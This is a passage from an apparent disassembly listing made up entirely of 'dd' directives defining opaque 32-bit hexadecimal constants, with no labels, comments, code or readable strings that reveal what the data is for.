1A4B0BBEh, 64E9ADD4h, 4009294Dh, 260EAED6h dd 7AAF1E23h, 0DB39C2FCh, 88E036C6h, 590EB0BDh, 601AA1CDh dd 17E6E3DCh, 0DF754Ch, 133DCC55h, 8F39FCD5h, 825CD300h dd 7E9C8BF5h, 0F9760EC8h, 85AEAA46h, 0D166B980h, 1426A5B0h dd 11002D7Bh, 45975DB8h, 261B0FE7h, 0CB60F6C3h, 47A6A8E3h dd 15DAF701h, 0E42AFA65h, 9AAFE887h, 40FCA742h, 550E0F06h dd 0E3F38B01h, 7D8970EBh, 0BFFDD0E3h, 5E560463h, 80CBAC30h dd 0BD0295E4h, 8E1A5400h, 0C97C465Ch, 0A4C15CA9h, 9A21BF00h dd 0B7194F48h, 8C137D00h, 0FA6B63B8h, 7F2800BDh, 0EE716A43h dd 0B6FC22D3h, 0F945EB0Fh, 79514092h, 0FAE4125h, 0C9E96BE4h dd 0D2EBF520h, 76E273B9h, 0D65EDE00h, 0C59D637Eh, 24D30002h dd 0A569A00Ch, 0BB7873AFh, 579F8C00h, 0A2E8F112h, 0E76C3B21h dd 0A3824D00h, 0A864FDC5h, 0C96A5600h, 729DF380h, 52270366h dd 0E41AE2C4h, 7BB63090h, 53FD6400h, 7AC3D2E0h, 5A000EAh dd 0D9D61069h, 0DF2C5813h, 7707788Ah, 0F930596Dh, 64F850h dd 0C412EE72h, 7ABE2C5h, 0C86DF500h, 3DA8C635h, 0DAF90054h dd 2F3AE7D5h, 0B70001ABh, 0C0B9F2E2h, 197DEFh, 8521D263h dd 36094EBFh, 0D3051700h, 62781B9Ah, 0AD3F006Ah, 87FC7D2Bh dd 81E88D90h, 2800D675h, 5D2DC112h, 3AFFDE8Eh, 0B0846CD8h dd 80D2245Ch, 0F088A578h, 33EDF900h, 78283CFEh, 40F208h dd 0C9232C35h, 0B53770CDh, 33B19000h, 55C30B2Dh, 12E5004Fh dd 0B7EB2B30h, 300385Ah, 0BDDA189Fh, 5E2CD62h, 0B37FCD2h dd 0A60307Eh, 0E90086ECh, 0AA23E06Ah, 9043CC37h, 91A91E68h dd 0F57C40DCh, 359C6498h, 764CD248h, 0A0B76900h, 396DEB08h dd 0D91804C3h, 0C0C97EF7h, 86B90914h, 93008BF0h, 0A2FE4FDFh dd 0C2F495h, 2069104Eh, 19CB1BB9h, 0E3744303h, 80049FD8h dd 0A0608651h, 8E7EC9h, 3BAA19CAh, 0B0597232h, 83666A3Ah dd 315545E8h, 8741C1D4h, 6E3CCDC4h, 80098D9h, 2870B87Eh dd 0AF00497Eh, 0A1F0990Fh, 15BF1CAh, 5FD66FC2h, 0F8DF0801h dd 609D2978h, 24D06AC5h, 1C937D81h, 71AB004Ah, 0B615A39Eh dd 0B1065F00h, 0A7536FC4h, 63DA00CBh, 8C7C6EDFh, 9919650Fh dd 0B80D3D6h, 70A8024h, 0C59CCBA8h, 8DD9D0E1h, 2603D107h dd 0FAF1613Dh, 0C9A1E8CCh, 0A7EA3A23h, 0FB64BA80h, 4A84C631h dd 4F005E7Eh, 95F52F0h, 17CA3B7h, 8B859960h, 0C9F84931h dd 0A4CCE0A8h, 0B643FA00h, 0B4F54E82h, 972600C0h, 1F6A75D0h dd 32721D52h, 11F41E00h, 0C6BD0F7Dh, 8AA900D2h, 246BD0C9h dd 94E69118h, 410499F4h, 19AACACBh, 71421980h, 0C0637297h dd 468AFF78h, 802C9CCCh, 0CD0E0DD5h, 36CE00EEh, 17832C7Fh dd 0F18771h, 294D31Ah, 141D66E0h, 0B8C069BAh, 43D5CAA5h dd 0F9920045h, 204188B3h, 6A04E36Fh, 0BB336413h, 0E61798D0h dd 0E8210340h, 81679E07h, 5FA411C8h, 4D3CA890h, 1EC20043h dd 397F8AA3h, 0C3E400E8h, 0B8D33564h, 60BDD2E9h, 0DDDA52h dd 0C2D05E76h, 0A489D86Dh, 0BF8AE712h, 8344F100h, 2AF25Ah dd 5865137Ch, 1BA171ACh, 3DCBAA00h, 0AF4B0FABh, 1C9700A5h dd 0F9CE3C82h, 4902353Eh, 857665D5h, 0C14C05Dh, 60D700D8h dd 5BC6ECCBh, 0AC0126F0h, 0F78890D3h, 5AE0E021h, 65450085h dd 94CE9CB0h, 73002AC6h, 0B1FB22E6h, 0A1DB3AB7h, 0F3C8159Ch dd 2DAE004Dh, 0D39128Dh, 0AA004B2Eh, 0AF869A31h, 0A7BD92h dd 2375461Eh, 66FB7161h, 0C601E490h, 8BA84D5h, 0BCE4546Eh dd 35E300C0h, 9CF1453Ah, 0C503C1DCh, 0A17BB4EEh, 91390C4h dd 2CFF0043h, 0BC76FA53h dd 201CA490h, 1A40ECAAh, 293C888h, 9A80296h, 84D02D61h dd 6480A342h, 0E11062E6h, 0A0C39800h, 37586C80h, 15FCEFh dd 3FBB7AB3h, 0CB2F0BF0h, 0A75F4E00h, 36AFC19Eh, 0A91C3830h dd 0E1492180h, 14479045h, 0F8D2462Ch, 8F55BB00h, 7A432E67h dd 0E632003Bh, 26B3FFB4h, 0B50B8561h, 8AEBB8h, 0E878657Bh dd 0A475005Ah, 2618F8F7h, 5C98167Dh, 0B95D700h, 22C76AEAh dd 67F20748h, 7045BFB4h, 8646B185h, 1F30975Ch, 0C6C02D08h dd 0B743DB88h, 2853E05Fh, 40107D07h, 0B93ED01Eh, 0D5208E43h dd 69AB80AEh, 0C0EA7B3Eh, 99E4FAB8h, 0E500B437h, 0EEAC3891h dd 0BA048F72h, 7DF07A64h, 0C99800D5h, 1E391915h, 0C41256D1h dd 5D002BF8h, 6F7FB9E4h, 8BB60302h, 0EBDB81FBh, 840240C6h dd 75C4BE24h, 0A479E017h, 28130397h, 0E3CA12F8h, 45A81900h dd 0CC7B72FCh, 0A3D31F14h, 0F14A014Eh, 51C99981h, 0EAF98714h dd 1BDE6740h, 8DDD9500h, 0EC9683EAh, 54E800BDh, 0BBA0ABD0h dd 0D30B0AF8h, 0D7E9C693h, 0C4ADBA84h, 9BC03C0h, 47D8FBA2h dd 0F7305748h, 0DBD47401h, 0C269009Dh, 99B2E1E3h, 0C03C94Ch dd 0E72027B8h, 8665F05Ch, 76D6000Eh, 0A1395BAFh, 0D0005A2h dd 0C2719F6Bh, 5077B90Fh, 2CAE5819h, 1322FBC7h, 9F9006A2h dd 0C0300894h, 0A0082016h, 515658FBh, 58714000h, 0DA4A5282h dd 0BDB47F18h, 86202B50h, 14BEA348h, 8828C2EDh, 9C54807Ah dd 7BE54EFBh, 51AF321Dh, 0EA3DB140h, 1BDBEB8h, 0A84A9B35h dd 48A2B910h, 0FB059854h, 5F0AED82h, 0B12D2C70h, 0F2D602FBh dd 54C38E03h, 0A813CD2Eh, 406E2402h, 0ECCE990Ch, 7393002Bh dd 0AA45A270h, 0D4F9D254h, 0BF60B229h, 1C7FC831h, 2D400151h dd 0DD3CD312h, 4EAFD011h, 809620CFh, 0D951AA15h, 49050E18h dd 0B94C5FCEh, 0A7E40B41h, 93C45C00h, 4809953Bh, 0CED20355h dd 0BF91E026h, 854AF8E0h, 5C738D00h, 42B74EA8h, 3A6601FEh dd 0F021DD86h, 55089877h, 79B021h, 0FAA6E04h, 0BD138D28h dd 0D749BA63h, 7B7CD326h, 78A0058h, 86EFD49Ah, 5D1DDFB5h dd 3A80AA8Bh, 65639FC7h, 0FA780003h, 67F94756h, 8900F454h dd 0C37AC619h, 0A87E75h, 0D5218494h, 8E32053Ch, 0D1170107h dd 9E901E79h, 141C06Ah, 59BDABACh, 0D82E76A0h, 0F87B398Fh dd 8069A238h, 0C5A4F023h, 0F21D5C89h, 9F0C0061h, 98CA6348h dd 0D600E518h, 6C7E24DAh, 10D1A7Ch, 7B6A314Ch, 0F47AFED0h dd 4A000882h, 0B7E19C47h, 0B4DD45h, 9252F998h, 70FF8F29h dd 20BCF8F5h, 4A0009F0h, 17BF56CCh, 0EF0F6h, 0AB9395C7h dd 0CB0280B9h, 3F00C37Dh, 0C4525F8Fh, 0A66509h, 0A2056177h dd 954A2B25h, 4D8DAA0Fh, 0F2A900A7h, 0D6AE1h, 8229AE11h dd 0FE2CD305h, 43206462h, 0CA47E0E7h, 9A6A0146h, 0B38E820Bh dd 8BE72144h, 34BA791h, 42EEDDh, 18BA8511h, 6EBA97Fh, 0BBB40E01h dd 3970AD1h, 0F3209Fh, 0AC85F217h, 613E1694h, 6EF093E9h dd 79D36B06h, 0E7F308F9h, 0E28032BFh, 0C81EA614h, 0A9690084h dd 0DC236FD2h, 950F6830h, 0A077A1C2h, 8DF51237h, 2A6D385Fh dd 0D160410Ch, 70188E10h, 6FF28536h, 89EF07BAh, 7047C177h dd 9408EBCBh, 0BE383BFAh, 0DA3E6Dh, 0E45D8F27h, 15BDCCDh dd 5639C073h, 0C588FED8h, 9F38E455h, 9400BD7Ah, 0A5AEB93Fh dd 0FCD0ACh, 5B018220h, 3AE58D40h, 4A6D2700h, 552C4C12h dd 0EBE40081h, 0EAAFBCCFh, 0A8018368h, 543F8828h, 4BCCD17Ch dd 3FFF4CAh, 6E95AABCh, 0D0E786B6h, 0DC92AD01h, 33BE2200h dd 2D67F63Ch, 0A69F00A9h, 2C3E71C5h, 3600746Ah, 0D9734107h dd 1E13782Eh, 0FE35DE17h, 0EA5D7783h, 0FA37D4Bh, 0CED6211Dh dd 0FA373A40h, 7999C06h, 2426635Bh, 3FA52075h, 80E5D642h dd 34E11851h, 1CBEE022h, 73F61D32h, 213E7108h, 0A2390031h dd 2A38F1ABh, 0F4B9745Fh, 0B1730043h, 2D68C68Eh, 3B0595B7h dd 785F1D27h, 6B5081AFh, 4890B0DFh, 0F0C643E7h, 0B94200CAh dd 4009AB59h, 26F0247Ch, 5E18891Fh, 1DB36301h, 0A9837BC9h dd 0D16E4B90h, 0AC61000h, 0DC1DEDBDh, 0F33D1DF9h, 0DF6080A7h dd 0C907D330h, 2AE771Ch, 34BB8080h, 92A0B6h, 0F34645EFh dd 5AEB3EA4h, 0A1001EF6h, 82C3EED2h, 0EE9E1CCh, 0ADEC02D1h dd 0AF5E7CA0h, 8B0CE634h, 51A0418Ch, 78F913DBh, 88EB0006h dd 1E862E08h, 0F028BB00h, 0DFCC3D29h, 46F043h, 0E674321Fh dd 0D8A177FFh, 823EAFFAh, 72750347h, 0E844029Dh, 366F315h dd 607026D5h, 0D6C0C931h, 8F303CA4h, 0B7C198F2h, 621101D5h dd 0B0EDF175h, 3EA9F1B4h, 85892201h, 0D4602906h, 6A7B00AFh dd 0C6808C75h, 0E630C902h, 854FB9A2h, 0C29F87Eh, 0C5A5D1F0h dd 53073618h, 8B32848Eh, 0EB13101h, 4DEFD8D7h, 0D590687h dd 88DBB373h, 552D190Fh, 0A090EEFAh, 0FEAA92BDh, 0D8520779h dd 0A059CBD3h, 0B5B91F16h, 0C10001FCh, 60B10F56h, 0F35A3FD8h dd 1C94660h, 6E081C85h, 0F0CCCB89h, 390053A7h, 84E729C0h dd 0C85F41h, 0D12A013Bh, 58B54AE8h, 2E30B603h, 0C3FE966Ah dd 41CCC0F8h, 1C5C0077h, 0D7948755h, 0A8EA3EC0h, 1D00A3B0h dd 44DE07E7h, 0E5C9AFCh, 0BA6BFA8Fh, 27088960h, 4100B959h dd 6D80E07h, 7E8DDF3h, 9B93A41Bh, 0DB10E0B3h, 985058B6h dd 7575362Ch, 6CF73400h, 0E8FF53A9h, 0F85C0093h, 2BC1331Dh dd 9007F537h, 0BF625A34h, 0BC3E470Fh, 4CF904F0h, 2D4400D5h dd 0D88682DAh, 3500AC75h, 0D120840Ah, 18467AB9h, 39DFC19Dh dd 7F48B2E7h, 5A007D31h, 64C0702Ah, 0A38747h, 39274BCFh dd 79986108h, 0F2A0A860h, 744784h, 1D1F8D46h, 448C5076h dd 5F024E1Ch, 3E00C8E8h, 1C4182EAh, 17DF2Fh, 70BBBEFFh dd 32F1B7A8h, 25ABD726h, 89EA5C0Ch, 8C7D0087h, 56D9C337h dd 3C002BFEh, 0A370B2D5h, 0D1DBD2h, 9C80BBC1h, 0F1E16D46h dd 0EB07F875h, 80FAD7Ch, 2590D870h, 0E79B0074h, 381C15D0h dd 450172C5h, 0CA06E43Ch, 56D4FCB9h, 66D67084h, 210E087Fh dd 0FCF8E338h, 0F9FD8700h, 7D0DD1A7h, 3A691ED0h, 1FF4C073h dd 5BA652EBh, 1EC2FF00h, 72C49FBFh, 736733Fh, 126444A8h dd 693C40ACh, 9FF82A4Ch, 18CE9700h, 0DCDEC154h, 17CC00C9h dd 1A811CB9h, 0CA006E6Ah, 168ACE1Fh, 60CBDCF4h, 59A69169h dd 0FC018264h, 6CDEEA48h, 2080D9FEh, 0A6C2EF1Ah, 0C8168B44h dd 6200CE52h, 0BB9E31C9h, 0FC780066h, 7FDE6C76h, 4F007A87h dd 3F732E6Fh, 147E6D89h, 90CA3EE5h, 18A0EE1Fh, 4AA10ECh dd 0AEADA700h, 0C0DAF5C2h, 394F3DCCh, 405A16h, 46ABEC50h dd 573F66D1h, 87E7BC65h, 5F6E03DBh, 0ED8CFEA0h, 1DEE2B6h dd 0B3559896h, 0F0446F3Ch, 0B017153h, 0AD24C16Ah, 60EC22FEh dd 0BE3E0029h, 58CE0CD0h, 9D008EF1h, 0CAA15BFDh, 0B09692h dd 49F3D1CDh, 1C6F1E98h, 0EFC18007h, 5E70B385h, 6528DBh dd 0B5A791A8h, 98AA49B9h, 10747F0h, 0A30F4BD9h, 9A18CD4Ah dd 0CFAE7908h, 0D8E3C820h, 0E5C82322h, 0D56119F3h, 4DE36650h dd 0C098A570h, 1EAB2728h, 0E900B6FAh, 813571BCh, 0F099B61h dd 0F96C557Ah, 471849A0h, 12307E93h, 91C061D7h, 75810063h dd 39EEBCFh, 2D0348CCh, 58167A01h, 5D27C0FCh, 0BB23488Eh dd 0D5AB2800h, 7471CD57h, 44A25E00h, 0E1956F4Ch, 95D0ECFh dd 0B7E0CA41h, 605CF368h, 49DCBE00h, 0DB4394DEh, 0E45F1C80h dd 0A4B74057h dd 0D7C05E41h, 0EDE8B97Eh, 4836A300h, 210C45CFh, 0FD87E8D0h dd 0AF822080h, 301441EDh, 27D10D00h, 0F5E2D347h, 58EC0068h dd 7F2BEFE4h, 9A0B6E61h, 1F5380h, 0F7C0642Ch, 5B203BA2h dd 7C01523Ah, 85416140h, 0C0A860F8h, 1E4C7400h, 58128708h dd 0E7C600BCh, 65A697A9h, 290EA142h, 0E0718C8Dh, 0D7BEFB5Bh dd 787700EEh, 0A0C66F7Bh, 0E50D0129h, 50B76556h, 0EC918E20h dd 0E66858DFh, 870E040Ch, 930F6E20h, 846C81FFh, 0E4C094B4h dd 0C0707468h, 7ED9D7A8h, 0B80028B2h, 0CD18DB8Ch, 7E776E60h dd 0DCD3002Eh, 66B6E7F7h, 5C0061A3h, 0E8DB1867h, 9026D2h dd 0CE7975A9h, 0FCE04465h, 749E4700h, 0BA7F4B2Fh, 33E80768h dd 0F0DA6AFEh, 7CE44A6Bh, 5B1F781Dh, 4592A500h, 83065Fh dd 604F35EDh, 0E56A836h, 2A0BD1F4h, 7CA1E60Ch, 0F3860038h dd 376A7950h, 0BEF8F00h, 754A23CAh, 5A0100AAh, 6BDFAC38h dd 0C9729BA3h, 7CA92012h, 53ED2F00h, 783086FDh, 24D700E9h dd 0CBCC934h, 0D200DBDFh, 0F0F26F27h, 8065A0h, 3C8F573h dd 90A1785h, 0CCD02A1Fh, 69402744h, 89FDDEC0h, 2080633Dh dd 1D90F46Fh, 780C93EBh, 187ED8A0h, 7273008Ch, 0BC186441h dd 800FA51h, 0EED1D21Dh, 31FC36h, 0F6197029h, 0D7011779h dd 35764300h, 44E937C1h, 0D8140068h, 0B80A3B42h, 100C8712h dd 7834F3A2h, 650200B2h, 0B70C1AA0h, 9500C33Fh, 0BE270F0Bh dd 4C5337B5h, 1A01876Ch, 0C4A08248h, 0A6880E9h, 0A2CB5C43h dd 0E9D7E8FAh, 8F61ECh, 0D54986A4h, 3C8BD8C0h, 44731700h dd 0E0B52B48h, 0E4AB00F1h, 0D8E7745Fh, 70F78AAh, 80F39756h dd 6561F010h, 0FF800CAh, 0CECC8AE5h, 9C0038B3h, 7D4A7BEDh dd 0C7A5BCh, 0F4750C41h, 67F83445h, 0D3008C72h, 0C2D283E8h dd 9D377Bh, 0EB885BF5h, 65699020h, 928C0B5h, 972B1EF9h dd 0DD13006Dh, 20764C19h, 0ED650703h, 0B64C8F7h, 5FF90568h dd 7ED38800h, 657C668Bh, 94CC1700h, 0B17674BAh, 7C7B13F9h dd 0A93F00FEh, 0E8E61F42h, 0CAE55A00h, 3EC4BFFFh, 24677AA1h dd 0BE0138h, 72FE98C1h, 56003B62h, 0E0202BCBh, 4B3973h dd 0F1066C2Fh, 0AFB8E29Ch, 0C7DBB000h, 6B1ABB98h, 32690080h dd 83202467h, 5F006406h, 9789101h, 3C6A9F76h, 68812377h dd 628EE408h, 51418CD9h, 47798Dh, 39AF5BD0h, 98E2575h dd 387C1800h, 570CC562h, 0A81E00D8h, 0E6805F37h, 0C987B3Ch dd 2CCCE3Ah, 7C3B8AD9h, 0FC94E0F0h, 0E1111FC7h, 3213077Eh dd 22F820BFh, 0CA4CA9D3h, 68FD0074h, 0DDFC8A24h, 500A00C6h dd 2A5286B7h, 55001D59h, 6D56CEFh, 1F89D151h, 5ACEA5h dd 0F3C90E5h, 3B00F0A9h, 9C418B54h, 78CE11D7h, 46AF0FB6h dd 0C6212787h, 20785FC4h, 8400C972h, 0FADF5641h, 3CC7DBAh dd 8D0B758Ah, 0EBB82E4Fh, 0C5003153h, 1BC459E7h, 2D9EA1h dd 0B27871E9h, 0B54B18F0h, 57AF4F00h, 2355424Dh, 0B7C1E53h dd 9F215D54h, 21495804h, 3F035D6Dh, 72971596h, 8373C075h dd 0AEA207BEh, 20A0D757h, 7844B0BAh, 8AFD5F00h, 4F3751EEh dd 0C2F5308Eh, 1475ED29h, 0C50CBD00h, 6E46317Ch, 0C0F0E87Eh dd 2BB79221h, 6B0184C4h, 1986FFAAh, 20F2FEE0h, 787B7169h dd 0BD610F00h, 58CC58Dh, 7E150A17h, 3A8DD5CEh, 1D3B3C86h dd 39CCE841h, 43BCF04Dh, 3DC4019Fh, 55E37C48h, 8488770Ch dd 12237470h, 1993BF9h, 0A4EC0BFCh, 3F219371h, 7D39E00h dd 30CFBh, 8A8043F5h, 0E3CB9A58h, 0A5C67D00h, 5F5741BDh dd 70590054h, 0FFA24D5Dh, 0B000E671h, 0EDB92297h, 0F26C3D78h dd 31B40EFDh, 92A02E5Ch, 4D30014Fh, 7899B10Ch, 77C8BCh dd 9FE96268h, 0C713D498h, 7908FC66h, 3847B21h, 30AD1B61h dd 85E0B9EDh, 59F801D8h, 5F3F8E98h, 526070C4h, 358BEF88h dd 1D8A246h, 418AA4D4h, 28E154E5h, 0F0D66A30h, 3DE8DEh dd 2FEDDA7Eh, 52E4FA05h, 6BAFAE19h, 0EECC59E2h, 0A8DA0090h dd 1A5DF446h, 0E607A18Bh, 6EFB2B75h, 4AAC7230h, 4980215h dd 7D901653h, 19315BE0h, 9E34FA2Ch, 0CA715400h, 747801FCh dd 0FD6E1DE3h, 64DF2Bh, 1F166A48h, 283F8BD2h, 17549FC4h dd 1C463CFDh, 7C406E94h, 89A90647h, 0DDE6D4h, 73B6C4E7h dd 9F2C418Eh, 0CF9C3Ch, 42C0BC85h, 0E716A45h, 8BD35519h dd 7F2C79A0h, 0C528A69Ah, 0B8CEAC38h, 0C500066h, 5E23DAh dd 16DD9586h, 0DE376552h, 6FE9B501h, 0B47E58E6h, 3E2FECh dd 5EC2E26h, 5D017281h, 0E348D160h, 0A9497CCh, 0DC57B50Ah dd 2DFC0FA7h, 0C5467120h, 0C2A04FB6h, 0F1006C14h, 9B970629h dd 0A01CF5EDh, 7767A90h, 0E2D475F7h, 4B406F61h, 0DF5CBD43h dd 0FBC23500h, 0ED5523D5h, 19F839F1h, 3F292A00h, 0FD43860Bh dd 0E135803Ch, 72541840h, 0F8DB80D3h, 3A400AAh, 7B0D0E42h dd 0F304C83h, 0D93528C9h, 1E5F204h, 1C9BF0FCh, 0C43A78D3h dd 0C015FD2h, 0D68B02C8h, 3080C21Bh, 66B3F273h, 0FC0FF809h dd 93F035C0h, 0B46B8C00h, 5C492FC4h, 0EB07845Dh, 0A381EE0Dh dd 1800C605h, 0D42923B5h, 11B34257h, 0CB79E3h, 17620ADAh dd 0E93A9EEh, 372AFDD0h, 0EAE65163h, 0ADDCD2E8h, 0E445C50Fh dd 0A2310195h, 408390FBh, 0F98EF006h, 4F6A8800h, 82176526h dd 29630F7Fh, 53C1914Ah, 0E00C551Eh, 6B006689h, 988AAFF2h dd 674E4Bh, 65B4402Eh, 3CCDD3D5h, 37D71C00h, 5D47327Eh dd 88AD0006h, 0E50921DCh, 64005B16h, 5A9720FEh, 4A4814h dd 5783618Dh, 1327912Bh, 52173Eh, 81DF1AF8h, 982FB789h dd 727609h, 405B06B1h, 0F6E9B347h, 0BAC5FB00h, 0AD74497Bh dd 284B00EAh, 1C7D16BDh, 0F370C836h, 0FA5BC400h, 0B2492C27h dd 78661D1Bh, 92A40FCBh, 0F53F55A0h, 2600B391h, 0CD62D068h dd 3C3595h, 939FF2Bh, 0C1B26593h, 4C0FBBB0h, 60AA7A7Ch dd 42F63028h, 32CEE80h, 0B4ED32DDh, 90C80E83h, 98A29A35h dd 0D6418020h, 2201E78Fh, 68F243B8h, 5CF0052Ch, 4D4203ACh dd 32647F86h, 0A30031B6h, 0FE21D9F5h, 491F68h, 0F640E2FBh dd 7A19502Fh, 6360AF74h, 628F8840h, 0A6F3A0B4h, 0EB31D38h dd 0D70400C1h, 45A28322h, 1E0092B8h, 5C55CDDh, 1FA73DC3h dd 802E1ADEh, 0D0B2AE4Eh, 58F67E4Bh, 2CC42601h, 2542BB53h dd 39B754D0h, 601D33B6h, 5831431Eh, 7EE0D95Eh, 860F11ABh dd 1F12AAFh, 33D770C3h, 0AD314080h, 4BD21D66h, 0DF6FAC1Bh dd 7D13E030h, 4F330081h, 0D2FDB79Bh, 0E517F35Eh, 0AD0FDE87h dd 284200FBh, 694BC5h, 0F28B7C99h, 3635251Eh, 0A43F5A15h dd 52EF052Ch, 0BECCB2h, 5A9C26DFh, 0F619DA08h, 0CB997E91h dd 0C2D370h, 0C5D7F219h, 7AA85B9Fh, 0E24091C3h, 2EF0037Bh dd 3D8671C3h, 13A01800h, 15AC2D3h, 2AE91C1Ah, 5428F0C0h dd 0B902F169h, 0EE1E7DDBh, 9C98AE25h, 1F5A5B00h, 0E5D2E7h dd 8D6B17CBh, 0D684F1DEh, 35C4F300h, 33BB9302h, 0E07CC0h dd 94A61B7Ch, 71652F1Ah, 3A2AC401h, 0CB925B31h, 68F82450h dd 0B3F10CE6h, 414CA7C4h, 0BBFE8679h, 0E234C8C6h, 0AE000D1h dd 0B481B743h, 53BC207h, 845E83B9h, 8018BE66h, 0A02C120Dh dd 1E0BFDA0h, 1CBF756h, 0F292B060h, 5BD0F3D1h, 7E3C4A3Bh dd 0BCE20052h, 5A096AF5h, 2F051E40h, 1C52CF2h, 8D5331D8h dd 3724F87Dh, 47110D0Bh, 73E0003Ah, 3AF0F96h, 0E89E6E45h dd 60F3691Eh, 8DF2EA00h dd 425B21AEh, 599F07FDh, 0C030F00Ch, 640E4EBDh, 0CA5DDA0Eh dd 6D46C145h, 1E5B7AFh, 63719FE0h, 4FA068EAh, 2C4889B2h dd 0AD604CC4h, 6D1353C8h, 0C9D100F8h, 2881AA9Ah, 0FFEE9698h dd 0EFAF3509h, 4F64019Dh, 0EC401C62h, 1DD2A075h, 6C2631h dd 771DC4C6h, 50072CE6h, 0FE2380F4h, 0A83C9703h, 2ECDEBA3h dd 950731h, 0BE6B2620h, 4A00E9E8h, 8EEFE254h, 24C88Dh dd 0C36232B9h, 921455E1h, 0BF67D100h, 5E4BF1D5h, 7B702C9Bh dd 0EBC200B7h, 95D405AFh, 0A95814F0h, 0AD170036h, 0FAB412A6h dd 0CC8B07F3h, 0F026D210h, 83272F2Eh, 97BE9A00h, 0AC12FE61h dd 0B2470017h, 1040C6F4h, 88A0C3B7h, 9C000C6Ch, 0CEABBCA7h dd 33982FDh, 6EEC6A6Fh, 0F2F885A0h, 18FE9AC8h, 114C2600h dd 75660229h, 0CDDA0E13h, 0E4C3ACBEh, 0D1C08CDBh, 30704A82h dd 7A94C601h, 0B95A585Ch, 0F1ECE3DBh, 10801609h, 0A6B8E1B4h dd 0FC001DA1h, 8964E2BBh, 202F08h, 0C97FAC9h, 50032D28h dd 0CD00DD74h, 15127EECh, 0D91805h, 5C58A3D1h, 0DECC6831h dd 80D28A07h, 0B5F03BDDh, 9D16AEh, 344E6FB1h, 71875213h dd 4109CC2Ch, 804AF600h, 0DA17A9h, 67734DCBh, 0E4D419FDh dd 3A23348h, 930E55D3h, 1438E0D2h, 30B561C5h, 0CC29A6DFh dd 8CF40668h, 1CCBF02Ch, 0A472EA00h, 667F80h, 2BE4350Ch dd 14BAB19h, 0A5E48BB8h, 6DB12700h, 4F4E4DAEh, 0F1C41DB2h dd 8A4480C2h, 8B01CC32h, 8C888500h, 7778F7CEh, 0D79B0007h dd 31A66B44h, 0CB030363h, 7BC3F1B1h, 1B51D8D9h, 3B8D00AFh dd 14311ED1h, 2FEC406Eh, 10D2D800h, 6781240Ch, 0B08A0047h dd 0C04A6D65h, 0CF073FF5h, 96CBD0FFh, 7B2FACA0h, 0E6920093h dd 6A7930DAh, 0BC00432Bh, 5132AEF7h, 8DB3D4h, 0C3CA17C1h dd 69B95EAFh, 9B125414h, 0FFCE00ADh, 0CBFA202Ah, 96DF019Ch dd 92EBC1AFh, 415424D8h, 91AC3C00h, 4C80F71Fh, 5AFA0FA2h dd 16806ACCh, 6D0BA79Eh, 1ADBA03h, 98CB55A6h, 0FA8D0Eh dd 0DC4D2FD3h, 0D542485Ch, 0C325E303h, 733CD968h, 43A816E8h dd 40F0144Dh, 972A0700h, 7E51D9AFh, 0C9FD3E00h, 0D0163B93h dd 0DF620011h, 0B1ECF0F1h, 0E40392D3h, 31841909h, 5C90976Dh dd 3E12458Ah, 5180C624h, 9278DEB9h, 200908C0h, 81359E77h dd 36E1ACDDh, 0EE8099F9h, 0C687093Ah, 223D758Ch, 0BECB3AC9h dd 67868015h, 2B453BF2h, 0AA7224E2h, 51AD0354h, 22D80DB8h dd 701DBAC2h, 9A00FA69h, 0B38EDE99h, 0BE6700AFh, 40C3FDD1h dd 2B004956h, 3A3F20Fh, 0EF4C71Ah, 929EB012h, 904DE5E0h dd 0AE0005B7h, 3E18FEADh, 4B094Fh, 93408E74h, 9A776EA5h dd 0B70D1D00h, 166657ABh, 0BEE803h, 0F8AAC7C1h, 0FE2646EDh dd 0D2E0C800h, 28F16AE6h, 0F6CD001Ch, 0AA45B133h, 0B6067ACEh dd 76D2BACCh, 997750h, 9FE59BFh, 6FE0AA39h, 0B184D300h dd 1DD23C3h, 401C0005h, 0E5A0870Bh, 0A3040D18h, 4D3178Ah dd 49B5E490h, 7A640002h, 0C0543A86h, 0C600F6D0h, 2A4EA5DBh dd 630AC5Eh, 0DE2E39AEh, 0B50054EFh, 9197C0B2h, 1C7223h dd 9EB7185Eh, 9D49587Ah, 3FBE7300h, 97D5A647h, 48510088h dd 6007AB31h, 4600187Dh, 78610F8Dh, 594E50h, 376DE3F6h dd 0C823731Bh, 0F4D2720Ah, 0D783D885h, 0B89267B7h, 725EA4B3h dd 34A70E01h, 1CC0CD46h, 0A6F861Eh, 0C1DEA600h, 481FEB22h dd 93910010h, 43CAB03Eh, 7F7C5407h, 157BDC18h, 2B15EF8h dd 9811D224h, 9440F716h, 8330FA0Fh, 0DE331EC5h, 0ECAC0E04h dd 8805836h, 7FFF2028h, 0A110A400h, 2146F53Bh, 0A58A0992h dd 0AC805C38h, 0DA416576h, 903EBC92h, 0BE840050h, 0B7349DADh dd 0A47D48C1h, 77C3D863h, 8C3D449Fh, 4F3CFE70h, 68B1243Eh dd 64ADDA07h, 6E66C5C0h, 7C4574BEh, 0EC38A830h, 0A2E600E4h dd 551AD088h, 18C02C96h, 945918D8h, 44FF0007h, 8B418349h dd 0AE7A5FE7h, 0D4667A00h, 0CFDF0B32h, 0EA840788h, 0C0AF4B20h dd 5F595087h, 0C305B413h, 0BF731200h, 1461DBD0h, 0D0C403B5h dd 0DA233600h, 6350D76Eh, 0AA7E761Ch, 0C3402040h, 0DBA760h dd 0EC59FB27h, 6CB7E3BCh, 0E5A95803h, 0F8C59E0Eh, 3C23C17h dd 0D5658851h, 55C8A6A8h, 4D1659DAh, 0E401A15Bh, 6D29A8Ch dd 58FCAC21h, 469E0BBCh, 0FE001B61h, 0DCF3D939h, 2BD52F0Fh dd 2D142007h, 120C34Dh, 1AFE42B9h, 0CE655251h, 0DB003046h dd 6B8F711Eh, 3A9E8C75h, 289ECBDh, 0EB8172BFh, 0E0561F5Eh dd 970073ACh, 0AB2345D7h, 1D559089h, 0EAFC07B7h, 257306A0h dd 30F5697Bh, 35AFE207h, 0E5404570h, 1381C57h, 0BB7DF940h dd 405DCD4Eh, 0DC7332E8h, 0E9945A03h, 0C8F286A4h, 4B633A7h dd 6A91DF9Fh, 1C87ABh, 488BA1CBh, 0C4C2AF04h, 0A4D0FEF0h dd 0FE542611h, 291092B3h, 7542CE0h, 5240E391h, 44003A0h dd 0EA24F73Bh, 80BE30C5h, 0AA4B6A54h, 74BBFF45h, 0DEC90066h dd 58C412A8h, 84002110h, 0E0EB0991h, 99AF4EA0h, 9A434E6Ch dd 0E6F8E1F4h, 93E2A13Bh, 6B04CC00h, 9D2DEDE7h, 0FF703Ch dd 0D9C011C8h, 77CDC98Bh, 0B7C65200h, 7B491419h, 7EA100CFh dd 4607606Dh, 